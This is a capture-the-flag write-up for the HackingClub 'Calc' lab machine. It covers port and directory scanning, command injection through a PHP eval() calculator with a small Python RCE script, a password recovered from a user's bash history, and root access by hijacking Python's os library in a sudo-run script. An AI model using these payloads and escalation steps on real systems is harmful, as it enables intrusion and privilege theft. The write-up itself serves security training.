↓Skip to main content

[Write-Up] HackingClub: Calc

Recon #

Nmap #

┌──(kali㉿kali)-[~/Machines/HC-Calc]
└─$ nmap -sS calc.hc
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-11 22:27 -0400
Nmap scan report for calc.hc (172.16.8.94)
Host is up (0.27s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
111/tcp open  rpcbind

Nmap done: 1 IP address (1 host up) scanned in 255.05 seconds

We’ve found three services running, a SSH service, a RPCBind service and a HTTP service, all running on default ports. We proceed to enumerate the web server.

Enumeration #

Having found a web service running, we started by looking into it.

Fuzzing HTTP #

┌──(kali㉿kali)-[~/Machines/HC-Calc]
└─$ ffuf -u http://calc.hc/FUZZ -w /usr/share/wordlists/dirb/common.txt -e php 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://calc.hc/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Extensions       : php 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 9732, Words: 1251, Lines: 409, Duration: 159ms]
.htpasswd               [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 5209ms]
.htpasswdphp            [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 149ms]
.htaccessphp            [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 158ms]
.hta                    [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 1221ms]
.htaphp                 [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 2229ms]
.htaccess               [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 2229ms]
cgi-bin/                [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 171ms]
index.php               [Status: 200, Size: 9732, Words: 1251, Lines: 409, Duration: 171ms]
:: Progress: [9228/9228] :: Job [1/1] :: 246 req/sec :: Duration: [0:00:47] :: Errors: 0 ::

We’ve found no relevant endpoints.

Vulnerabilities #

Command Injection via eval() #

By exploring the Calc functionality, we first try to see if we can get a RCE on that. Trying to run some bash commands don’t seem to find anything.

We saw earlier that it’s has an index.php and looking at the response readers we confirm it’s a PHP application. So we start to explore it’s behaviors considering that: Do some eval PHP type command injection and find we can run commands freely

1+1 = 2
# outputs: 2
1+1;
# outputs: 2 - maybe an eval on php
1\*pi()
# outputs: pi - probably an eval
1+ord('a')
# outputs: 98 - probably an eval
\$letter=5;1+\$letter
# outputs: 5
$letter=system('ls');
# outputs: impossible-to-fuzzing-this-file.txtindex.phpindex.php
system('ls');
# outputs: impossible-to-fuzzing-this-file.txtindex.phpindex.php

Exploitation #

Created an exploit that run commands using that system structure:

import requests
import argparse

parser = argparse.ArgumentParser(
    prog='CalcCmd',
    description='Run an RCE on Calc.HC',
    epilog='Give a command to execute'
)

parser.add_argument('host')
parser.add_argument('-c','--command')

args = parser.parse_args()

HOST=args.host
COMMAND=args.command
data = {'calc': f'system("{COMMAND}")'}

r = requests.post(f'{HOST}', data=data)

print(r.content)

Now we can run a reverse shell and get access to the host as the user apache:

┌──(kali㉿kali)-[~/Machines/HC-Calc]
└─$ python3 cmd.py http://calc.hc -c "ls"
b'impossible-to-fuzzing-this-file.txt\nindex.php\nindex.php'
┌──(kali㉿kali)-[~/Machines/HC-Calc]
└─$ python3 cmd.py http://calc.hc -c "cat impossible-to-fuzzing-this-file.txt"
b'uhc{REDACTED}\nuhc{REDACTED}'

Privilege Escalation #

We get initial access as apache user. Stabilize shell using Shells

Doing recon we find a user sysadmin. This user has lax permission on his home. We can read some files of interest:

bash-4.2$ ls -lhart /home/sysadmin
total 20K
-rw-r--r-- 1 sysadmin sysadmin 231 Jul 15  2020 .bashrc
-rw-r--r-- 1 sysadmin sysadmin 193 Jul 15  2020 .bash_profile
-rw-r--r-- 1 sysadmin sysadmin  18 Jul 15  2020 .bash_logout
drwxr-xr-x 4 root     root      38 May 28  2021 ..
-r-------- 1 sysadmin sysadmin  20 May 28  2021 user.txt
drwxrwxr-x 2 sysadmin sysadmin  61 May 28  2021 .ssh
drwxrwxr-x 3 sysadmin sysadmin 111 May 28  2021 .
-rw----r-- 1 sysadmin sysadmin 160 May 25 23:03 .bash_history

bash-4.2$ cat /home/sysadmin/.bash_history
history 
ls -la
sudo
55371a2307eb5fee50f54dc93224e96f
exit
nano /usr/lib64/python3.7/os.py
nano /usr/lib64/python3.7/os.py
nano /usr/lib64/python3.7/os.py
exit

bash-4.2$ ls -lhart /home/sysadmin/.ssh
total 8.0K
-rw-r--r-- 1 sysadmin sysadmin  420 May 28  2021 id_rsa.pub
-rw------- 1 sysadmin sysadmin 1.7K May 28  2021 id_rsa
drwxrwxr-x 2 sysadmin sysadmin   61 May 28  2021 .
drwxrwxr-x 3 sysadmin sysadmin  111 May 28  2021 ..
-rw-rw-rw- 1 sysadmin sysadmin    0 May 29  2021 authorized_keys

By looking at the bash history we find that right after su we have the string 55371a2307eb5fee50f54dc93224e96f, we try using that as a password for sysadmin and have a succesful login:

bash-4.2$ su - sysadmin
Password: 
Last login: Mon May 25 23:03:24 UTC 2026 on pts/0
[sysadmin@ip-172-16-5-55 ~]$ cat user.txt
uhc{REDACTED}

We also notice that something has been performed on the file /usr/lib64/python3.7/os.py that may be of notice

Pycalc code:

import os

def add(x, y):
    return x + y

# This function subtracts two numbers
def subtract(x, y):
    return x - y

# This function multiplies two numbers
def multiply(x, y):
    return x * y

# This function divides two numbers
def divide(x, y):
    return x / y

print("Select operation.")
print("1.Add")
print("2.Subtract")
print("3.Multiply")
print("4.Divide")

while True:
    # Take input from the user
    choice = input("Enter choice(1/2/3/4): ")

    # Check if choice is one of the four options
    if choice in ('1', '2', '3', '4'):
        num1 = float(input("Enter first number: "))
        num2 = float(input("Enter second number: "))

        if choice == '1':
            print(num1, "+", num2, "=", add(num1, num2))

        elif choice == '2':
            print(num1, "-", num2, "=", subtract(num1, num2))

        elif choice == '3':
            print(num1, "*", num2, "=", multiply(num1, num2))

        elif choice == '4':
            print(num1, "/", num2, "=", divide(num1, num2))
        break
    else:
        print("Invalid Input")

We notice that calc.py uses the os lib. If we add the lib pty and a pty.spawn("/bin/bash") We can get a root shell

[sysadmin@ip-172-16-5-55 ~]$ sudo /usr/bin/python3 /opt/pycalc/calc.py
[root@ip-172-16-5-55 sysadmin]# cd /root
[root@ip-172-16-5-55 ~]# cat root.txt 
uhc{REDACTED}

Flags #

  • Initial RCE (Command Injection): uhc{REDACTED}
  • User (SSH password reuse): uhc{REDACTED}
  • Root (pycalc/os.py library hijack): uhc{REDACTED}